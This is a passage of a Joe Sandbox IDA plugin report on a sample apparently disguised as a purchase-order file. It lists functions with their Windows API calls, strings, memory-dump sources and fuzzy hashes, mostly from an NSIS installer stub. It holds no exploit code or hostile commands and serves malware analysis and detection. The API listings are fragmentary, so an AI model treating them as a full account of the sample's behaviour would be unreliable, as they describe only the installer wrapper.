Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f3cd64b373423f08c400f43ced682a2f57df91656cf533f2cf81258b4af8a2a
Instruction ID: 0736cccccc6f827907037603d14f532b0b29b9d15a45f39c84aae8f684fd02cc
Opcode Fuzzy Hash: 1f3cd64b373423f08c400f43ced682a2f57df91656cf533f2cf81258b4af8a2a
Instruction Fuzzy Hash: 25D02B2050D3C08FD33BC33860482127FE51B59252F0A448EF4974F043CA141909C741

Non-executed Functions

Function 0040338F Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004033B2
GetVersion.KERNEL32 ref: 004033B8
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033EB
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 00403428
OleInitialize.OLE32(00000000), ref: 0040342F
SHGetFileInfoW.SHELL32(0042B208,00000000,?,000002B4,00000000), ref: 0040344B
GetCommandLineW.KERNEL32(00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 00403460
CharNextW.USER32(00000000,0043F000,00000020,0043F000,00000000,?,00000006,00000008,0000000A), ref: 00403498

Part of subcall function 00406694: GetModuleHandleA.KERNEL32(?,00000020,?,00403401,0000000A), ref: 004066A6
Part of subcall function 00406694: GetProcAddress.KERNEL32(00000000,?), ref: 004066C1

GetTempPathW.KERNEL32(00000400,00441800,?,00000006,00000008,0000000A), ref: 004035D2
GetWindowsDirectoryW.KERNEL32(00441800,000003FB,?,00000006,00000008,0000000A), ref: 004035E3
lstrcatW.KERNEL32(00441800,\Temp,?,00000006,00000008,0000000A), ref: 004035EF
GetTempPathW.KERNEL32(000003FC,00441800,00441800,\Temp,?,00000006,00000008,0000000A), ref: 00403603
lstrcatW.KERNEL32(00441800,Low,?,00000006,00000008,0000000A), ref: 0040360B
SetEnvironmentVariableW.KERNEL32(TEMP,00441800,00441800,Low,?,00000006,00000008,0000000A), ref: 0040361C
SetEnvironmentVariableW.KERNEL32(TMP,00441800,?,00000006,00000008,0000000A), ref: 00403624
DeleteFileW.KERNEL32(00441000,?,00000006,00000008,0000000A), ref: 00403638

Part of subcall function 004062BA: lstrcpynW.KERNEL32(?,?,00000400,00403460,00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 004062C7

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403703
ExitProcess.KERNEL32 ref: 00403724
lstrcatW.KERNEL32(00441800,~nsu,0043F000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403737
lstrcatW.KERNEL32(00441800,0040A26C,00441800,~nsu,0043F000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403746
lstrcatW.KERNEL32(00441800,.tmp,00441800,~nsu,0043F000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403751
lstrcmpiW.KERNEL32(00441800,00440800,00441800,.tmp,00441800,~nsu,0043F000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040375D
SetCurrentDirectoryW.KERNEL32(00441800,00441800,?,00000006,00000008,0000000A), ref: 00403779
DeleteFileW.KERNEL32(0042AA08,0042AA08,?,00435000,00000008,?,00000006,00000008,0000000A), ref: 004037D3
CopyFileW.KERNEL32(00442800,0042AA08,00000001,?,00000006,00000008,0000000A), ref: 004037E7
CloseHandle.KERNEL32(00000000,0042AA08,0042AA08,?,0042AA08,00000000,?,00000006,00000008,0000000A), ref: 00403814
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403843
OpenProcessToken.ADVAPI32(00000000), ref: 0040384A
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040385F
AdjustTokenPrivileges.ADVAPI32 ref: 00403882
ExitWindowsEx.USER32(00000002,80040002), ref: 004038A7
ExitProcess.KERNEL32 ref: 004038CA

Strings

TEMP, xrefs: 00403617
SeShutdownPrivilege, xrefs: 00403859
.tmp, xrefs: 0040374B
UXTHEME, xrefs: 004033DF, 004033E4, 004033EA
Low, xrefs: 00403605
\Temp, xrefs: 004035E9
NSIS Error, xrefs: 00403451
TMP, xrefs: 0040361F
Error launching installer, xrefs: 004036BA
~nsu, xrefs: 0040372F

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-3195845224
Opcode ID: 22b8795af144aae1d525309f94cca5ba9a4a3f263f85987c0d75d6683015679d
Instruction ID: 34b402965a056e7880f406cddf034ee68ffb155d70387f36a3cc73b0da0a8952
Opcode Fuzzy Hash: 22b8795af144aae1d525309f94cca5ba9a4a3f263f85987c0d75d6683015679d
Instruction Fuzzy Hash: FBD11571500310ABE720BF659D45B2B3AACEB4074AF10447FF881B62E1DBBD9E45876E

Function 00404C9E Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404CB6
GetDlgItem.USER32(?,00000408), ref: 00404CC1
GlobalAlloc.KERNEL32(00000040,?), ref: 00404D0B
LoadBitmapW.USER32(0000006E), ref: 00404D1E
SetWindowLongW.USER32(?,000000FC,00405296), ref: 00404D37
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D4B
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D5D
SendMessageW.USER32(?,00001109,00000002), ref: 00404D73
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D7F
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D91
DeleteObject.GDI32(00000000), ref: 00404D94
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404DBF
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404DCB
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E61
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E8C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404EA0
GetWindowLongW.USER32(?,000000F0), ref: 00404ECF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404EDD
ShowWindow.USER32(?,00000005), ref: 00404EEE
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FEB
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00405050
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405065
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405089
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004050A9
ImageList_Destroy.COMCTL32(?), ref: 004050BE
GlobalFree.KERNEL32(?), ref: 004050CE
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405147
SendMessageW.USER32(?,00001102,?,?), ref: 004051F0
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051FF
InvalidateRect.USER32(?,00000000,00000001), ref: 0040521F
ShowWindow.USER32(?,00000000), ref: 0040526D
GetDlgItem.USER32(?,000003FE), ref: 00405278
ShowWindow.USER32(00000000), ref: 0040527F

Strings

, xrefs: 00405257
M, xrefs: 00404E48
N, xrefs: 00404F29

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 38e67d642b103c863e09d225da822fb6d69acbe0d816e4b8de2aebeebed4de2d
Instruction ID: f888d98cc81d7f01a919363da6f821789f230268a52e2f70c0503caf05bd5b25
Opcode Fuzzy Hash: 38e67d642b103c863e09d225da822fb6d69acbe0d816e4b8de2aebeebed4de2d
Instruction Fuzzy Hash: BB026FB0900209EFDB109FA4DD85AAE7BB5FB84314F14857AF610BA2E0C7799D52CF58

Function 36267760 Relevance: 14.2, Strings: 11, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 36267CC2
$^q, xrefs: 36267C0D
$^q, xrefs: 3626785C
$^q, xrefs: 36267C19
$^q, xrefs: 3626788D
$^q, xrefs: 36267850
$^q, xrefs: 36267881
$^q, xrefs: 36267CCE
$^q, xrefs: 36267CAC
$^q, xrefs: 36267CB8
605, xrefs: 362678CD

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$605
API String ID: 0-141752050
Opcode ID: a2e1920d75f299cc32cd2fba16c9082f886e32cdec3479062943bd2169d6b2fa
Instruction ID: 343202f61c5e68e84a24a661bea065cf1e479b5f48c5e407944a34bbdac0be10
Opcode Fuzzy Hash: a2e1920d75f299cc32cd2fba16c9082f886e32cdec3479062943bd2169d6b2fa
Instruction Fuzzy Hash: DD123C34E00619CFDB14DF66D858A9DB7F2BF88304F218969D409AB364DB709D86CF91

Function 004059CC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00441800,74DF3420,00000000), ref: 004059F5
lstrcatW.KERNEL32(0042F250,\*.*,0042F250,?,?,00441800,74DF3420,00000000), ref: 00405A3D
lstrcatW.KERNEL32(?,0040A014,?,0042F250,?,?,00441800,74DF3420,00000000), ref: 00405A60
lstrlenW.KERNEL32(?,?,0040A014,?,0042F250,?,?,00441800,74DF3420,00000000), ref: 00405A66
FindFirstFileW.KERNEL32(0042F250,?,?,?,0040A014,?,0042F250,?,?,00441800,74DF3420,00000000), ref: 00405A76
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405B16
FindClose.KERNEL32(00000000), ref: 00405B25

Strings

\*.*, xrefs: 00405A37

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: bcbc2a7ac1b1f3fb7d07acde4e2512b3450779b38a1d7279aa7c3219c953243e
Instruction ID: 87b7c1c15068e6398432f2de95375e915c3ae258b511550e47b187391169d043
Opcode Fuzzy Hash: bcbc2a7ac1b1f3fb7d07acde4e2512b3450779b38a1d7279aa7c3219c953243e
Instruction Fuzzy Hash: EE41E430900914BACB21AB618C89ABF7778EF45768F50427FF801B11D1D77CA982DE6E

Function 00405461 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004054BF
GetDlgItem.USER32(?,000003EE), ref: 004054CE
GetClientRect.USER32(?,?), ref: 0040550B
GetSystemMetrics.USER32(00000002), ref: 00405512
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405533
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405544
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405557
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405565
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405578
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040559A
ShowWindow.USER32(?,00000008), ref: 004055AE
GetDlgItem.USER32(?,000003EC), ref: 004055CF
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055DF
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055F8
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405604
GetDlgItem.USER32(?,000003F8), ref: 004054DD

Part of subcall function 00404266: SendMessageW.USER32(00000028,?,00000001,00404091), ref: 00404274

GetDlgItem.USER32(?,000003EC), ref: 00405621
CreateThread.KERNEL32(00000000,00000000,Function_000053F5,00000000), ref: 0040562F
CloseHandle.KERNEL32(00000000), ref: 00405636
ShowWindow.USER32(00000000), ref: 0040565A
ShowWindow.USER32(?,00000008), ref: 0040565F
ShowWindow.USER32(00000008), ref: 004056A9
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056DD
CreatePopupMenu.USER32 ref: 004056EE
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405702
GetWindowRect.USER32(?,?), ref: 00405722
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040573B
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405773
OpenClipboard.USER32(00000000), ref: 00405783
EmptyClipboard.USER32 ref: 00405789
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405795
GlobalLock.KERNEL32(00000000), ref: 0040579F
SendMessageW.USER32(?,00001073,00000000,?), ref: 004057B3
GlobalUnlock.KERNEL32(00000000), ref: 004057D3
SetClipboardData.USER32(0000000D,00000000), ref: 004057DE
CloseClipboard.USER32 ref: 004057E4

Strings

{, xrefs: 004056C7

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: b747a118dcd76f797ac229e86f31520b95951f9f2fd18a8a10ba66df94a6a7c7
Instruction ID: 0d33ea325d25f8e5d5623e6ebdd73ca6fcd7ab1b09301a5b30cdd6c49ec902ff
Opcode Fuzzy Hash: b747a118dcd76f797ac229e86f31520b95951f9f2fd18a8a10ba66df94a6a7c7
Instruction Fuzzy Hash: D7B15770900608FFDB119FA0DD89AAE7BB9FB48355F00403AFA41BA1A0CB755E51DF68

Function 00403D58 Relevance: 48.3, APIs: 32, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D94
ShowWindow.USER32(?), ref: 00403DB1
DestroyWindow.USER32 ref: 00403DC5
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DE1
GetDlgItem.USER32(?,?), ref: 00403E02
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403E16
IsWindowEnabled.USER32(00000000), ref: 00403E1D
GetDlgItem.USER32(?,00000001), ref: 00403ECB
GetDlgItem.USER32(?,00000002), ref: 00403ED5
SetClassLongW.USER32(?,000000F2,?), ref: 00403EEF
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F40
GetDlgItem.USER32(?,00000003), ref: 00403FE6
ShowWindow.USER32(00000000,?), ref: 00404007
EnableWindow.USER32(?,?), ref: 00404019
EnableWindow.USER32(?,?), ref: 00404034
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040404A
EnableMenuItem.USER32(00000000), ref: 00404051
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404069
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040407C
lstrlenW.KERNEL32(0042D248,?,0042D248,00000000), ref: 004040A6
SetWindowTextW.USER32(?,0042D248), ref: 004040BA
ShowWindow.USER32(?,0000000A), ref: 004041EE

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 0b7b1c17639b6d1c33985b6847ccd2c8cf6276db4693f940084e8c077b1e5a4a
Instruction ID: e03fc219ec92158800d4d40d681534e4389e9639ccb8e5563fa4604b390d03ca
Opcode Fuzzy Hash: 0b7b1c17639b6d1c33985b6847ccd2c8cf6276db4693f940084e8c077b1e5a4a
Instruction Fuzzy Hash: 29C1D171600300ABDB216F61ED89E2B3AB8FB95746F04053EF641B51F0CB799982DB6D

Function 004039AA Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406694: GetModuleHandleA.KERNEL32(?,00000020,?,00403401,0000000A), ref: 004066A6
Part of subcall function 00406694: GetProcAddress.KERNEL32(00000000,?), ref: 004066C1

lstrcatW.KERNEL32(00441000,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000,00000002,00441800,74DF3420,0043F000,00000000), ref: 00403A2B
lstrlenW.KERNEL32(00432E80,?,?,?,00432E80,00000000,0043F800,00441000,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000,00000002,00441800), ref: 00403AAB
lstrcmpiW.KERNEL32(00432E78,.exe,00432E80,?,?,?,00432E80,00000000,0043F800,00441000,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000), ref: 00403ABE
GetFileAttributesW.KERNEL32(00432E80), ref: 00403AC9
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403B12

Part of subcall function 00406201: wsprintfW.USER32 ref: 0040620E

RegisterClassW.USER32(00433E80), ref: 00403B4F
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B67
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B9C
ShowWindow.USER32(00000005,00000000), ref: 00403BD2
GetClassInfoW.USER32(00000000,RichEdit20W,00433E80), ref: 00403BFE
GetClassInfoW.USER32(00000000,RichEdit,00433E80), ref: 00403C0B
RegisterClassW.USER32(00433E80), ref: 00403C14
DialogBoxParamW.USER32(?,00000000,00403D58,00000000), ref: 00403C33

Strings

_Nb, xrefs: 00403B2E, 00403B96
RichEdit, xrefs: 00403C05
.DEFAULT\Control Panel\International, xrefs: 00403A16
.exe, xrefs: 00403AB8
Control Panel\Desktop\ResourceLocale, xrefs: 004039DE
RichEd20, xrefs: 00403BD8
RichEdit20W, xrefs: 00403BF6, 00403BFC
RichEd32, xrefs: 00403BE6

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: 1feb877b3cd1f17d5745dc6e86cff1def5b969e5bf70798c317c187aa9e1ce15
Instruction ID: 9f2b94ab3f1de80a41c8f53b965b22801f2352f665cd6d3f8e6571e1d6c0b700
Opcode Fuzzy Hash: 1feb877b3cd1f17d5745dc6e86cff1def5b969e5bf70798c317c187aa9e1ce15
Instruction Fuzzy Hash: D861B9312407007ED720AF659D46E2B3A6CEB85B4AF40057FF945B51E2CBBD9941CB2D

Function 004043F0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040448E
GetDlgItem.USER32(?,000003E8), ref: 004044A2
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004044BF
GetSysColor.USER32(?), ref: 004044D0
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044DE
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044EC
lstrlenW.KERNEL32(?), ref: 004044F1
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044FE
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404513
GetDlgItem.USER32(?,0000040A), ref: 0040456C
SendMessageW.USER32(00000000), ref: 00404573
GetDlgItem.USER32(?,000003E8), ref: 0040459E
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045E1
LoadCursorW.USER32(00000000,00007F02), ref: 004045EF
SetCursor.USER32(00000000), ref: 004045F2
LoadCursorW.USER32(00000000,00007F00), ref: 0040460B
SetCursor.USER32(00000000), ref: 0040460E
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040463D
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040464F

Strings

N, xrefs: 0040458C
gC@, xrefs: 004045FA

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N$gC@
API String ID: 3103080414-4003572143
Opcode ID: 353f568027e9435f0b10a007412a0fb7b671a4650aedb506db2b7bc5b58b0be6
Instruction ID: 67960cbe9d5dd80a83daf25f2437327cccbb0fafcef4e9f4d39b28ee92a42e65
Opcode Fuzzy Hash: 353f568027e9435f0b10a007412a0fb7b671a4650aedb506db2b7bc5b58b0be6
Instruction Fuzzy Hash: ED618FB1900209BFDB109F60DD85EAA7B79FB84345F00853AF605B62D0D77DA951CFA8

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433EE0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: e215112caf94b1f54c3d659d29471f2010c28c8ad64a223ce82802b434a3cd12
Instruction ID: 68187ad06c86d7515f13608b457f8be07a0117cb3bcf177897c910b083aea3f1
Opcode Fuzzy Hash: e215112caf94b1f54c3d659d29471f2010c28c8ad64a223ce82802b434a3cd12
Instruction Fuzzy Hash: 9A418C71800209AFCF058F95DE459AF7BB9FF44315F00842AF591AA1A0C778EA54DFA4

Function 00405F06 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004060A1,?,?), ref: 00405F41
GetShortPathNameW.KERNEL32(?,004308E8,00000400), ref: 00405F4A

Part of subcall function 00405D15: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D25
Part of subcall function 00405D15: lstrlenA.KERNEL32(00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D57

GetShortPathNameW.KERNEL32(?,004310E8,00000400), ref: 00405F67
wsprintfA.USER32 ref: 00405F85
GetFileSize.KERNEL32(00000000,00000000,004310E8,C0000000,00000004,004310E8,?,?,?,?,?), ref: 00405FC0
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405FCF
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406007
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,004304E8,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 0040605D
GlobalFree.KERNEL32(00000000), ref: 0040606E
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406075

Part of subcall function 00405DB0: GetFileAttributesW.KERNEL32(00442800,00402F1D,00442800,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405DB4
Part of subcall function 00405DB0: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DD6

Strings

%ls=%ls, xrefs: 00405F7B
[Rename], xrefs: 00405FEF, 00406001

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

